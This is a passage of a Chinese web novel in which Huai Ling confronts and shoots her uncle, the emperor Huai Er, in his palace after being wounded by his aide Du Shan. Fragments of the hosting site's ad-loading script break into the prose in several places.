“你是指什么?”他握着槐翎的手,趁着她还没恢复清醒的时候十指相扣,他心情很好,小心翼翼地摩挲槐翎的手心。 “要留在这里吗?我是说…A区。” “你在哪我就在哪。”说完之后他有些后悔了,槐翎会想要自己跟在她身边吗?他基本上帮不了什么忙,而且昨天两个人还针锋相对。 “哼。”槐翎哼哼唧唧地笑了,她没有正面回答,但这个信号已是极大的鼓励,苍恃现在知道槐翎的办事风格了,她永远不会直接说出自己内心的想法,要想了解她只能靠猜,幸好,他终于理解了。 “像五年前那样收留我,不,现在是六年前了。可以吗?”他低头在槐翎耳边说话,声音很低,震得槐翎的耳朵嗡嗡响。 “养你可真不容易,你知道你花了我多少钱吗?”槐翎的手稍微收紧了些,“接下来养你也得花好多好多钱,要把E区重建起来没那么容易。” “你怎么……”苍恃睁大了眼睛,不论是因为槐翎说的“接下来”还是“E区”,总之这都让他感到喜出望外。 他没跟其他人说过,槐翎怎么知道得那么清楚? “猜的。”槐翎这次倒没说谎,苍恃满脸写着高兴,如果身后有尾巴的话一定能摇得飞起,槐翎这个时候才体会到哄他还蛮容易的……早知道就早点直接这么干了,想着想着她的另一只手开始不安分起来,苍恃不得不按着她,脸上满是隐忍。 “已经是中午了。” 槐翎叹了口气,自己也知道有些放纵了。她起身离开苍恃的怀抱,“我还有些事情要做。” “我可以一起吗?”苍恃立马跟了过来。 槐翎似乎也不知道是否可以,她眼神暗了暗,没有说话,算是默许了。 她约定了和祝译连线的时间,槐翎坐在书房里,过了一会后祝译的脸出现在屏幕里。 “总感觉你哪里不一样了。”祝译盯着槐翎看了好一会,但是没看出点什么来,她清了清嗓子,正打算谈正事,就看见从槐翎的身后走过来一个人,极其自然地把泡好的茶放在槐翎的手边。 “等下!”祝译瞪大了眼睛,“这谁这谁?” 苍恃自然也听到祝译的声音了,他低下头来,面对镜头平淡地和祝译打了个招呼。 祝译感觉大脑一阵高速运转,结合苍恃那洋溢出来的喜悦,不用多久就推测出槐翎消失的一个晚上发生了什么,她张大嘴巴,眼睛在两个人的脸上来回流转。 “谈正事。”槐翎打断了这场闹剧。 “咳咳……”祝译强行压下心里的激动,她们每一次连线都很珍贵,可不能浪费时间。 “明天殷肆会在早上9点行刑,现在所有的人员都已到位,几乎大半的军力都放在B区了。” “槐迩真是害怕他。”槐翎冷哼一声。 “明天我会在9点前到达A区,之后就按照约定的那样行动吗?”在说出这句话的时候,祝译都跟着紧张了起来。 “按原计划进行。”槐翎正色道,“一会我就会出门。” “知道了。”祝译点头,她多看了槐翎两眼,两个人都很有默契地没有说话,这次连线结束,她们可能以后都再也见不到对方了。 “我可以和祝译聊聊吗?”在旁边听着的苍恃也听出了些不对劲,他小心翼翼地向槐翎寻求许可,在得到槐翎的点头后,槐翎把位置让给了他。 槐翎无意听他们之间的对话,回房间做出门的准备去了。 “你想清楚了?”祝译问他。 “嗯。”这一次是真的,不是气话。 “既然你能在她身边,那么我也可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以透露给你了吧。”祝译揉了揉太阳穴以减轻几分头疼,“接下来她会去宫殿。” 苍恃感觉手心迅速地沁出了汗,他本来也有些预感今晚会发生点大事,万万没想到,槐翎已经做好了直指宫殿的准备。 “无论是否成功,我都会回A区,一是我也算参与者,二是我的妈妈还被控制着,无论如何我都得回来的。”在说这话时,祝译的表情说不上轻松。 “你呢?你怎么想?”她反问。 “她去哪里我就去哪里。”苍恃这次没有犹豫。 “我想她是需要你的,不是武力上的需要,而是情感上。”祝译微微笑着,“当时是她选中了你,而你也积极回应了,你们在很早很早的时候,就已经互相信任了对方,不是吗?” * 黑色的车辆在空荡荡的路面上显得极为突兀。 槐翎只带了一把手枪,一个弹匣。 她打开窗户,让冷风从外面灌进来,风吹乱了她的头发,旁边开着的苍恃悄悄看她几眼,从她身上散发出只有淡淡的从容,没有一点杀气。 槐翎是为了最后一个目标而来的,在那十八个名字中,槐迩的名字放在了最后。 她没有忘记槐迩带来的屈辱,她的人生所有的苦难都是这个人带来的。 “跟我说说你的母亲。”槐翎突然回过头来说,苍恃愣了一下,不知道她怎么突然提起自己的家人。 “我妈妈……只是一个很普通的人,成长在普通的家庭,和其他人一样循规蹈矩地长大,然后认识了另一半,简单又幸福地组建家庭,在我出生后,她辞掉工作全心全意照顾家庭。” 槐翎静静听着,她没有说话,却从苍恃简单的言语中体会到母子之间的深厚感情。 “她其实对数字挺敏感的,不过还没到天才的地步,所以闲着没事的时候她会自己琢磨数学题目,我很小的时候也会跟着她学习,她跟我说等我上高中就出去找工作,总不能一直在家里待着。” “后来……你也知道了,她本来就心思敏感,在我老爸被害后,她整个人再也没有了过去的生命力,后来她自-杀了,在处理完她的后事后我就去E区了。” “不是去E区,而是被赶过去。”槐翎纠正道。 “嗯,毕竟那是一笔很大的补偿金,足够他们在C区很好生活下去。什么都没有的我,被他们推上了前往E区的列车,再也不能回来。” 在说到这些往事时,苍恃脸上没有任何波澜,像是在叙说他人的故事。槐翎向来不会安慰人,她伸手在苍恃的头上重重地摸了一把,把他的头发摸得乱七八糟,但苍恃全盘接受,耐心地等槐翎摸完之后,他抓过槐翎的手,紧紧地握着她的手。 一阵沉默过后,槐翎忽地想起来自己有东西要交给他。 她从口袋的夹层里拿出一张照片,照片被塑封过,后续的处理使得照片没再受损,苍恃一下就认出来了这张照片。 那是他一家人的合照,是他埋藏在心底的美好。 “我以为你会拿走的…所以我自作主张带过来了。” “谢谢你。”他的眼睛有些酸涩,心里涌出一阵温暖,他好像已经很久很久没有感受到这种被纯粹地、直白地在乎的感觉了。 苍恃侧过头去看着槐翎,她依旧放松地开着车,风吹过她的头发,轻松得像是要去海边度假。 而苍恃却从这份从容中汲取到了安全感,那是只有在槐翎身边时才会有的,强大得无法让人忽视的安全感,把他整个人都包裹了起来,此后再也没有东西能够伤害他。 79. 第 79 章 黑车穿越在宫殿的两道关卡中,卫兵出奇的少,在看到槐翎的时候他们没有加以阻拦。 槐翎对此并不感到惊讶,看来槐迩也猜到了他也在名单上面。 无论放多少兵力,对于槐翎来说那都没有意义。 最后,黑车顺利地进入了宫殿的正前方,槐翎双手插在口袋里,抬头看着将要落下的太阳,染成一片粉橙色的天空,她突然感觉到前所未有的轻松,身上所有的负担都在此刻消散。 她回头看向宫殿的正门,由玉石宝石各种名贵石材雕刻而成的大门,在这大门的背面隐藏了多少的黑暗与血泪。 而这壮丽辉煌的宫殿,已经准备好观看争夺它的斗争。 槐翎深吸了一口气,一步一步走上台阶,台阶不高,但每一步走上去都让槐翎觉得无比沉重。 她花了很长时间,花了很多心思,终于等来了现在的时机,才能像如今这样赌上所有来到这里。 苍恃没有跟上去,他在车旁等候。 那是她和槐迩的事情,只有他们两个才能解决,苍恃除了在这里等待就什么都做不到。 他还想问问槐翎的家人是怎样的人,他还想知道未来会是什么样子,当他看见槐翎背过身去一步一步走上去的时候,苍恃突然感觉槐翎变得好遥远,远得他根本触碰不到。 不过,他早就有这个心理预期了。 第一面见到槐翎的时候,他就知道槐翎绝对不是甘于被圈养在A区的人物。 槐翎自己伸出双手,推开了那扇门,和想象中一样沉重,推动的时候得使出十足的力气,她咬着牙,一点一点地推开,终于能够完整地看到大殿的样貌。 槐迩正坐在最中央的高位上,看样子已经等待有好一阵子了。 他的旁边站着杜山,杜山穿着军装,他甚至连帽子都戴上了,一双无神的眼睛盯着槐翎看。 槐翎打量了他们两个一顿,然后缓缓地笑了起来,笑容很真挚,里面没有隐藏任何算计,只是一个普通的笑容。 “好久不见,堂叔。” 槐迩没有说话,杜山反倒有些按捺不住,他向前走了半步,把槐迩护在了自己的身后,见状槐迩只摆了摆手。 “阿翎,你来了。”槐迩的声音嘶哑,他自从重病中恢复之后就变成这副模样,这语气里好像二人没有任何仇恨,倒像是一场再温情不过的叔侄会面。 “友好的相处就到这里结束吧。”槐翎收起笑容,“我来这里是为了什么,你应该很清楚。” 看到槐翎的笑脸,槐迩轻声笑了出来。 “阿翎,你从小就很心急,我早就知道你今天会来,毕竟我是你这个世上最恨的人,像你这样的孩子,总是把最喜欢吃的部分第一口吃了。” 槐迩站了起来,他手里拄着拐杖,慢悠悠地从高处走下,杜山想要搀扶他被拒绝了,像槐迩这样心高气傲的人,想来也是不愿意被人当成老者看待。 他颤颤巍巍来到槐翎的跟前,槐翎这才发现槐迩已经苍老了许多,再也没有了以前的那股狠厉,他所有的天赋像是被上天收走,如今只余下一副年老的躯体,再也支撑不起他的野心。 槐迩还是强撑着在槐翎面前站直,他居高临下地看着槐翎,眼里满是轻蔑。 “像你这样的毛头小子也想要夺取我的位置……哼,现在这个世界已经疯了,你做的那些事情根本无关痛痒……杀了那些人,只会有新的人顶替他们,难道你能一直杀下去吗?” “自然。”槐翎露出了白森森的牙齿,“我能杀17个,就能杀170个,只要一直杀下去,大家就会支持我,在生命面前尊严与本心算什么?那些人就算掌握了再多的权力,在死前不也会想要向我求饶吗?” “阿翎,你这样做只会让你的父母伤心。”槐迩叹了口气。 “伤心?”槐翎鄙夷一笑,“你是说他们会伤心?” 没等槐迩再说话,槐翎就从口袋里拿出枪,她把枪口对准槐迩的额头,冰冷的枪口与槐迩不过几厘米,槐迩并未表露出恐惧,他依旧是那副长辈的姿态,用充满怜悯的眼神看着槐翎。杜山紧张兮兮地看着槐翎,却再次被槐迩阻止了。 “我早就知道了……在我逃跑的那一天,他们就被你亲自按下按钮炸成了肉碎,而你竟然还好意思说他们会伤心?你真是有够虚伪的,槐迩啊,你以为仅凭我一个人就能轻易跑出配置了上千卫兵的牢笼吗?” “他们根本就没想过自己能活,因为他们太了解你了,所以在你反应过来之前,起码要让我逃出去,逃到哪里都好,只要不在你能看见的地方,我可以改名不再叫槐翎,只求能有一片天地让我苟活下去。” “在我爸爸的手里不是有一份遗书吗?你应该看过的,上面写的话还记得吗?” 说到这里,槐翎的眼眶已经变红,干涩得让她只觉疼痛。 她的泪水早在十五年前就流干了,只是每每回想起来都让她痛彻心扉。 槐迩呼吸一窒,他用力地抓着拐杖。 他当然是看过的,上面只有一句话,那是让他数十年都无法安眠的咒语,缠绕在他的心脏,如同尖刺一般,刺得他惶恐不安。 “请照顾好我们的女儿,这是我作为哥哥唯一的请求。” 从那天起,槐迩就分成了两个人,一个是皇帝槐迩,一个是堂叔槐迩。 一个他怨恨槐翎,一个他怜爱槐翎。 有时候他想要折磨槐翎,有时候他又觉得槐翎可怜,两个他互相拉扯,时而是皇帝占了上风,时而是堂叔,最终连槐迩自己都不知道该怎么办好。 “被出卖了的我什么都没能做到,只能抓着你的衣角痛哭流涕,向着自己最大的仇人乞求一条生路,这是怎样的屈辱,怎样的痛苦,这份延续了十五年的仇恨,如今也该到清算的时候了。” 槐翎松开手枪上的保险栓,清脆无情的声音在寂静的大殿里无比清晰。 “阿翎,这都是你的臆想。”槐迩试图打断她的话语。 “由你送来的虚假的书信,合成的照片,由演员扮演的影像,无论哪个都是你的傲慢,你的自以为是。不会有孩子认不出自己的亲生父母的,你是从来没有体会到这种感觉吧?” “亲手除掉自己的血肉,那是怎样的感受?你害怕看到自己的无能,而你的无能也在一直延续下去,你找了那么多不同的女人繁育下一代,没有一个能像我这样优秀,最像你的却是槐雾,一个你从不在意的儿子,继承了你的所有特质……槐迩,你输得一塌糊涂却不敢承认,而你现在还霸占着我的位置,试图控制我。” “够了,槐翎。”槐迩出言打断了他,他的胸口正在不断用力地起伏,因为愤怒原本苍白的脸变得通红,“你没有资格指责我,看看你的身后吧,没有一个人在你身边,你的多疑,你的敏感,致使你只能独自一人走到这里,就算你用暴力与恐惧夺取我的所有又如何?这个位置你是坐不长久的……哈哈哈,天真的小孩,你能变成今天这副样子,不也是我一手塑造而成的?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “和你父亲一样的天真,不,该说你们是一样的愚蠢!”槐迩仰头大笑,他笑得上气不接下气,等笑完之后,他的眼睛又恢复成过去一样的锐利。 “你走不了的,只要杀了我,这个宫殿就会马上被十吨炸药炸毁,无论谁都不能幸免。” “我就算死了,也要拉着你陪葬!”他一字一顿地说道。 “是吗?”槐翎耸肩,“我倒是无所谓的。” 槐迩不明所以地盯着她看,试图从她脸上找到些说谎逞强的证据,但是很遗憾,他除了自信什么都找不到。 “今天杀不了你,明天我再杀了你,要是比命长的话,我无论怎么都比你活得久的。”槐翎说,“你以为区区炸弹就能解决我吗?” “我已经不再害怕你了。”她咧开嘴笑了,癫狂、自大、执着、狂妄……所有的负面特质组成了槐翎,让她的存在是那么的特殊又反直觉。 她是彻头彻尾的坏人,是名副其实的恶女。 “好人不长命,祸害遗千年。我不打算做我父母那样的人,槐迩,我和你都是同类人,你难道不懂吗?被你亲手教导出来的我,才是最像你的那个人。不过我不打算谢谢你,我能走到今日,来到你的面前拿枪指着你,那都是我自己的努力,就算没有你,我也会成为最强大的那个人。” 站在后面的杜山安静地听完了他们的吵架,他什么都知道,只是什么都不说。 槐翎有一点确实说得没错,站在这里的这两个人,才是最为相似的。 槐迩毫无疑问是爱着槐翎的,同时他也恨着槐翎。 他终于理解了槐迩一直以来为何不愿意触碰槐翎,因为在面对槐翎的时候,槐迩就像在照一面镜子,把他所有的丑陋与不堪都开膛破肚展示到面前,让他难忍羞愧。 而槐迩又恨不得把槐翎绑在自己身边,槐翎有着他没有的强大与自信,她的仇恨塑造她成为了全能的战士,她的自信又让她拥有赌上一切的勇气,她的强大让她就算抛弃一切也能逆风翻盘,那都是槐迩没有的但又渴求的。 所以槐翎就算什么都不做,只要站在那里就已经足够击溃槐迩。 “是吗?就算这里被炸毁,你也无所谓外面站着的人吗?那个一直陪在你身边的人可不知道里面发生了什么。”槐迩依旧没有死心,他清楚槐翎的弱点在哪里。 她本来是没有任何软肋的,但是她现在和祝译合作,苍恃也在她的身后,无论怎么样,那都是再明显不过的牵制。 “男人这种东西要多少就有多少。”槐翎不屑地回答道。 槐迩并未急着反击,他的目光越过槐翎,看向她的身后,苍恃正在宏叔的身侧,他一言不发,注视着槐翎。 “你听见了吗?”槐迩充满恶意地问苍恃。 槐翎这才意识到自己再次中计,她立马回过头去,在看见苍恃和宏叔的时候,她的脸瞬间变白了。 她以为宏叔早就退休了,可是他此时此刻却出现在这里,这就证明……她握紧拳头。 “听见了。”苍恃点头,他依旧面无表情,槐迩见槐翎这副模样,心里只觉一阵畅快,要毁掉槐翎这一招总是有效的,而宏叔是那根深深刺在槐翎心底的毒针,现在有了苍恃的反目,恐怕只会让槐翎彻底崩溃。 “像我这样的男人确实随处可见。”苍恃不以为然地说道,“但是被她选中的人只有我一个。” 槐迩怀疑自己听错了,他的笑容僵在脸上,接着充满不可置信地瞪着苍恃。 80. 第 80 章 太阳落下,宫殿的灯自动亮了起来。 冰冷的宫殿里依旧散发着不祥的味道,没有卫兵巡逻的宫殿比过去还要冷清些。 杜山看着槐翎,为了维护皇帝的地位,他必须要自行行动起来。 他身上是带着武器的,一把装有消音器的手枪被他收在口袋里,从他现在站着的角度来刚刚好能瞄准到槐翎。 他并不在意这两个人的争执,倒不如说这样给予机会直接对话的皇帝已是十足的仁慈,换做其他人恐怕早就派杜山先行解决了,哪有还在这里聊天的时间。 他不理解。皇帝这一路走来做的事情足够矛盾,有的时候更像是在给予槐翎一次又一次的机会。 杜山深吸了口气,他的手指触碰到冰冷的握把,粗糙又坚硬的触感让他拥有了几分安全感。 只有铲除所有不安定的因素,才能让这个国家走得更远。 他头一次违背了命令。 杜山几乎是在瞬间就完成了拔枪瞄准的动作,他不假思索便扣下扳机,子弹被击出,直直地往槐翎的头颅飞去。 即便是装了消音器,在安静的大殿中依旧突兀地引起了在场所有人的注意。 他清楚地看见槐翎脸上出现了名为震惊的情绪,旁边的槐迩也没想到自己身后会有子弹射出,他的身体下意识地向相反方向侧过,动作之灵活不像是一名老人。 不远处的苍恃清楚地看见了发生什么,他伸出手想要阻止,嘴里喊着要躲开诸如此类的话,他很努力,却被那段距离所阻碍,毕竟他跑得再快也不可能比子弹快。 他旁边的宏叔反应要再慢一些,他的脸上满是惊讶,年老的身躯立在原地,什么都没能做到。 杜山感觉到第二颗子弹已经准备就绪,他瞄准了槐翎的胸膛接连射出两颗子弹,他的枪法很准,几乎没有失手的时候。 在极短的时间里,三颗子弹都朝着槐翎的要害处飞去,槐翎根本来不及反应,她脑海里只有一个念头。 “绝对不能死在这里!” 她能听见子弹呼啸而过的声音,划过空气带着无尽的杀意向她袭来,她已经预见到自己哪个部位会中枪,于是在脑子做出判断的那一刻,槐翎的身体就接收到了最后一个信号。 她必定会中枪。 槐翎的身体和头稍微歪了一些,可惜时间不足,不然她就能避开…… 她感觉到子弹刺穿她的血肉,擦过她的骨头,灼热得让她浑身都剧烈地疼痛起来,她的头发被高高地甩了起来,和猩红的血混合在一起,紧接着她重重地摔在了地上,血液喷了槐迩一身,他瞳孔微缩,看着槐翎被鲜血染红,身上两个弹孔正汩汩冒着血。 苍恃几乎是连滚带爬来到她身边的,他感觉自己的血液都在逆行,目光所及都是一片红色,刺得他几近呕吐,他不得不强行压下心里的恐惧与愤怒,小心翼翼地去触摸槐翎的身体。 她还有意识,眼睛微微睁开,血液从她头部流下,沾染了她整张脸,即便这样,她依旧保持清醒冷静。 槐翎的眼睛动了一下,被血染红的眼里只有无尽的愤怒,她的嘴唇轻轻颤动,右手的食指也指向了杜山。 只需一个眼神,苍恃就明白了她想要做什么。 他毫不犹豫地拿出身上的武器,苍恃看见了杜山,杜山是冷酷至极的人,他总是做着最正确的判断,比起槐迩,杜山显然更危险。 苍恃脑海里闪过和杜山一起在前线合作的点滴,他的多次帮忙,他的那些轻佻的话语,他的严厉与残忍……苍恃曾经是把他当父亲看待的。 但是现在在他怀里的槐翎体温正在迅速下降,他第一次感受到了理智失控,让他只想大叫发泄出来,苍恃感觉子弹同样撕裂了他的身体,让他也能感受到槐翎的痛楚。 对于苍恃来说,槐翎更重要。 他双目猩红,身体在颤抖,拿着枪的手却是稳的,接着毫不犹豫地开了枪。 就像他在前线杀过的无数敌人一样,现在杜山也是他的敌人。 杜山躲闪不及,他的胸膛留下了一个小小的孔洞,从里面同样流出红色的血液,粘稠、腥臭。 他还想说点什么,喉咙却被苍恃击中,他的脖子被削去了一半,露出了内里的肉与骨头,杜山仰天倒下,身体僵硬,手里的武器掉在一旁,发出了清脆的声响,回荡在每个人的心里。 杜山在死前的眼神依旧是冷漠的,直勾勾地盯着苍恃,似是要用眼神把他撕裂开来。 肉眼确定了杜山死亡后,苍恃才敢去看槐翎的状态,她还睁着眼睛,脉搏很弱,如果不快点处理伤口的话,恐怕就要熬不过今晚了。 他不得不用手去压迫伤口减少出血,但是无论他怎么做,那些血都堵不住,鲜血染红了他的双手,他感觉自己的喉咙紧得无法出声,连呼唤槐翎都做不到。 他的动作虽不慌乱,但脸上的表情早就出卖了他,迷茫、无措、慌张在他的脸上来回转换,他呜咽着,泪水止不住地掉在槐翎的脸上,那么的滚烫,比起槐翎的体温还高一些。 他还记得几分钟前槐翎的模样,曾经是那么鲜活的一个人,如今却无力地躺在这里。 槐迩低头看着他们,意识到自己已经胜利了。 他不甚在意地回到自己的位置,在经过杜山的尸体他叹了口气。 杜山是个好部下,就这么死了着实可惜。 不过他也得感谢杜山,杜山做了一个无比正确的决定,哪怕这个决定是槐迩从未要求他做的。 槐迩看着苍恃的挣扎,又看着自己最大的梦魇的生命逐渐流逝,心里是说不出的舒爽,无论如何,笑到最后的人都是他。 于是,他放肆地笑了出来,甚至笑得上气不接下气。 笑声在空荡荡的大殿里回荡,充满了蔑视、讽刺、鄙夷。 “陛下。”宏叔毕恭毕敬地走到他的跟前,“您的外袍脏了,不如去更衣吧。” 要不是宏叔不出来说话,槐迩都差点忘记了宏叔的存在,他低头看了眼衣角,红色的血液喷洒在洁白无瑕的布料上,反而格外有一种怪异的美感。 苍恃看着宏叔那服从的模样,只觉得怒火中烧。 槐翎曾经说过,宏叔是看着她长大的,有着数十年的情谊,而如今……宏叔就这么走过,连一个眼神都没留给槐翎。 他再次拿起枪,想要瞄准造成一切的槐迩,而苍恃的手却在不住地颤抖。 槐翎会想看到这一幕吗? 她希望自己这么做吗? 苍恃还在挣扎,此时从他的手臂上传来一阵刺痛,他回头看去,槐翎竟然强撑着站了起来,她紧紧攀着苍恃的手臂,摇摇晃晃的,不得不借助苍恃的身体才能站起来。 槐翎像是刚刚从一场噩梦中醒来,她甚至伸手擦去流到眼睛里的血液,紧接着她用沾满血的手握紧了自己的枪。 她现在这副模样和从地狱里爬出来的恶鬼没有差别。 “槐迩,你必须今天死。”她的声音很粗糙,说起话来竟然还有力气。 苍恃想要扶她,却被她避开了。 “你真顽强。”槐迩重新站了起来,他敛起笑容,手里抓着的拐杖正在轻轻颤抖。 “陛下,我去叫卫兵过来。”宏叔见情况不对,立马从口袋里拿出通讯器。 “我的滔天恨意和这些疼痛比起来根本算不得什么。很遗憾,我不是什么富有耐心的人,在我这里没有从长计议、慢慢折磨你的戏码,死亡对你而言不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是解脱,是终结你罪恶一生的完美落幕。” “陛下!”宏叔一声惊呼,他感觉到自己的身体被一股力扯了过去,紧接着一颗子弹贯穿了他的身体,在死前的那一刻他回头看去,只见槐迩的手正用力抓着他的手臂,这样正正好就能挡下槐翎的第一颗子弹。 下一刻,槐迩立马推开中枪的宏叔,他扔掉拐杖,转身就要往旁边的秘密通道跑去,他颤颤巍巍的,步伐不算有力,象征着至高无上的长袍束缚了他的行动,为了能跑得更快,槐迩不得不摘下身上的饰品。 宏叔就这样死了,被槐迩当成了挡箭牌,这样的结局对他而言……实在太讽刺了。 槐翎冷笑着,只扫了一眼宏叔的尸体,便紧接着拿过槐迩的拐杖用作支撑,她举着枪一步接着一步跟了过去。 苍恃也跟了上去,他必须要见证到最后一刻,杜山和宏叔都死了,他是唯一一个能够证明槐翎继位正统性的人。 槐迩喘着气,秘密通道很长,并不宽敞,在通道的另一头就是杜山的休息室,在那里可以快速地调动军队,能够以最快速度撤离,也是他最后一张底牌。 他一边跑,一边摘下身上的东西,戒指、头饰,被视作财富象征的黄金宝石项链都被他踩在了脚下,他顾不上自己的形象,只有活下来才是一切。 槐迩灵活地避开槐翎的攻击,中过枪的槐翎因为失血已经没有了过去的准头,能够以最后一口气吊着也全凭意志力,她向来报复心强,比谁都要要强,不拿到第一名还会生闷气。 强烈的恐惧与求生的欲望使得槐迩爆发出强大的力量,他的肺部因为奔跑快要炸裂,不善于运动的双腿也因为奔跑变得麻木,他气喘吁吁,心脏拼命挤压,给这副快要走到尽头的身体提供血液。 “逃命吧,槐迩,这份恐惧的资格也该你尝尝了!”槐翎的声音从他身后传来,她邪恶地笑着,手里的动作一直没停。 子弹擦过槐迩的头,他惊得大叫出来,双腿一软差点就要跪下。 最后一颗子弹了,槐翎静静数着。 她拄着拐杖,因为失血,她甚至连前方的路都看不清,仅凭过去的经验进行瞄准,其实她大可让苍恃来做这件事,但是槐迩是她的猎物——她必须亲手斩断这份仇恨。 槐迩终于看到了前方胜利的曙光,他从口袋里拿出钥匙,只要打开门就能找到支援,他手忙脚乱地找到那把特别的钥匙,因为出汗过多,他的手心都湿漉漉的,拿出钥匙的时候他感觉自己全身都在颤抖,差点让他抓不住代表胜利的钥匙。 他把钥匙放进去,轻轻地转动,再推开这扇门,一个朴素至极的房间出现了。 桌面上的通讯工具还亮着,只要按下上面的按钮,卫兵就会包围这里,驱逐所有外来者。 他还是太狂妄了些,早知道会沦落到如今的下场,就不会让卫兵都离开,但是他又害怕从槐翎说出的真相让其他人听到,这座宫殿里,他唯一相信的人只有杜山,只有杜山能留在他的身边。 没有了杜山的他,就跟婴儿一样脆弱。 他抬腿就想走进去,不成想被那长袍绊倒,槐迩以极其难看的姿势倒了下来,他的头部着地,重重地摔在冷硬的地面上。 他马上就想起来,身体上的疼痛却让他龇牙咧嘴,他看着桌面上的按钮,只要站起来,就能触碰到,只要再给他十秒…… 紧接着,拐杖的声音就落了下来,无情地击破了槐迩的妄想。 槐翎凭着惊人的意志追到了这里,她全身都染成了红色,握着枪的那只手一如既往地稳当。 “我们在十八层地狱再见吧,堂叔。” 枪声响起,槐迩的头被击碎,红的白的混合着在狭小的房间里溅射开来。 81. 第 81 章 一切都结束了。 苍恃按下按钮,几分钟后卫兵就会集结。 当务之急是要把槐翎送去治疗,宫殿里的医疗团队是全天待机的,有他们的帮忙就能把槐翎抢救回来。 他把槐翎抱在怀里,感受到她的体温从手指开始慢慢降低,冰冷得让他心底一颤。 他握着槐翎的手,希望能把自己的体温传递过去,又伸手擦去槐翎脸上的血,他的动作很轻柔,心底里的恐惧让他不住地颤抖。 果真在几分钟后他听见卫兵整齐的脚步声,听见他们身上的武器叮当作响。 苍恃紧紧握着枪,双目无神地看着门口。 门从外侧被打开,一名卫兵在闻到浓烈的血腥味后皱了眉头,紧接着被满身血的槐翎和苍恃吓了一跳。 “上校?” 苍恃认得这个卫兵,他在宫殿里工作时和他接触颇多,其实卫兵私底下关系都挺好的,上下级的壁垒并不高。 “叫医生处理……现在她是你们的王了。”他的嗓子是哑的,声音不大,说出来的话却让在场所有的人感到震惊。 紧接着所有人都看见了那一具……只剩下了半个头的尸体,从身形和衣着来看毫无疑问那就是槐迩。 苍恃手里还拿着武器,他的眼神直让人心惊胆战,就像是一匹护在头狼身边的成狼,只要有人胆敢侵犯头狼,他就会毫不犹豫张嘴咬下那人的喉咙。 卫兵闭上眼睛好一会,然后在一阵挣扎中,他选择了相信了苍恃。 “明白了,医疗团队马上过来……紧急情况……” “没错,是我们的王……” 接着又是一阵兵荒马乱,上百卫兵看着槐翎被送上担架,医生护士都跑出来迎接,苍恃不得不一边跑一边告知他们伤口是如何造成的。 然后苍恃看着槐翎被送进手术室。 他终于松了口气,瘫软在一边,只能倚靠着墙壁让自己好好缓过来。 苍恃从未想过会见到这一幕,在他的印象里,槐翎总是强大得像天神,她不会受伤,反应力极强,处变不惊。直到在她中枪后,苍恃才意识到,原来槐翎也是人类。 他坐在原地,久久不能回神。 事情发生得太快了,他还需要点时间去消化,苍恃看着手术室亮起的灯,多想自己也能进去看着,就算什么都做不到,他也想多和她待一会。 手术持续了四个小时,他就在那里等了四个小时,等到槐翎被推出来时,已经是深夜了。 医生擦了一脸上的汗,这个手术可谓是生涯压力最大的一台。 “在她身上取出了两个子弹,一个在左肩,一个在右腹部,脏器有受损,已经修补了,额头的伤口不算大,已经清理缝合过了。”医生对苍恃说道,他又摘下口罩,露出一张被汗润湿的脸。 “幸好都没击中要害,但是出血太多,输血后也要时间休养,她身体机能很强,应该很快就会恢复好了。” “到底发生了什么?为什么她会被送到我这里来?” 医生还想追问下去,但苍恃已经没有力气回答他了。 他脚步虚浮地来到槐翎的房间外,刚做完手术的她不允许任何探视,现在被安置在巨大的设备里防止伤口感染。 隔着小小的玻璃窗,苍恃看见她闭眼沉睡着,旁边挂着数不清的药物,还有仪器监控她的身体状况。 这是只为皇帝一人提供服务的医疗团队,代表了国家最高的医疗水平。 一切都还来得及……苍恃隔着玻璃,他静静地看了好一会,旁边的护士提醒他去清理下身上的血迹。 苍恃麻木地点了头,在这外面还有卫兵等着他,他还得宣告今天发生了什么,这样才能不辜负槐翎的努力。 * 卫兵在大殿里找到了杜山和槐迩的尸体,因为不知道要怎么处理为好,他们只得先把尸体放在停尸房等待定夺。 槐迩生前并未立下继承人,而卫兵也连夜在他的房间里进行搜寻,没能找到任何文件。 继承人的问题就显得迫在眉睫。 作为上校的苍恃已经宣布槐翎为新的王,但鉴于苍恃曾经叛逃,他的证词不能完全采纳,为了确保没有任何纰漏,卫兵只能先把苍恃扣下。 在凌晨,卫兵不得不联系每一个大臣、官员,向他们宣告槐迩死去的消息。 而在提及继承人这件事时,所有大臣都统一保持了缄默。 过去强有力的继承人已经全部被槐翎暗杀,如今没有任何人能担大任,直到最后,卫兵不得不一一去找槐迩的后代,只不过大多数后代都已经进了坟墓,最后能找到几个要么就是怕得马上挂了电话,要么就是说自己什么都不知道。 能说上话的只有一个人了。 他在别苑休养了好几个月,目前精神还算可以,如果不是这件事,卫兵是万万不敢打扰他的。 佣人在接到电话的第一时间就已马不停蹄去通知他。 他在听见槐迩死去的消息时,只有细微的惊讶,紧接着他自嘲地笑了。 “这一天等了有多久呢?” 佣人不敢说话,生怕惹得他不高兴。 马上就要天亮了,槐迩死亡的消息在A区已经到处散播,很快就会泄露到整个国家去,如果还未定下继承人的话,只会让国家陷入混乱,更别说今天还有殷肆这个反抗军头领行刑这一件大事。 “换衣服。”他跟佣人说。 佣人连忙点头,好几个人手忙脚乱地把他扶起来,他已经很久没有出门了,在这个重要的时候,他给自己指定了一套衣服。 那是只有在非常正式的场合才会穿的套装,上一次穿的时候还是为了庆祝槐迩的五十岁生日,他参加了那场盛大的宴会,为了不丢脸是一滴酒都不敢喝。 偏偏身边的人又一直劝酒,他只好四处躲避,最后找到了正在角落里安静待着的槐翎。 他还记得槐翎的脸在烟花的照耀下变得光彩夺目。 “堂哥,你会站在我这边的,对吗?”她问,那个时候他不知道槐翎是在确认什么,他嘻嘻哈哈地点头称是,又伸手摸乱了槐翎的发髻。 “对对,我会永远站在你这边。” 他没能发现槐翎眼神里的晦暗与不甘,早在那个时候,她就已经学会了忍气吞声,只等待着最合适的机会露出尖牙与利刃。 槐雾看着镜子里的自己,他瘦了很多,巨大的伤疤留在他的胸口,在佣人扣上最后一颗扣子时,他感觉自己好像又回到了几年前。 身穿着制服的他,胸前挂满了数不清的勋章,明明他什么都没做, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = 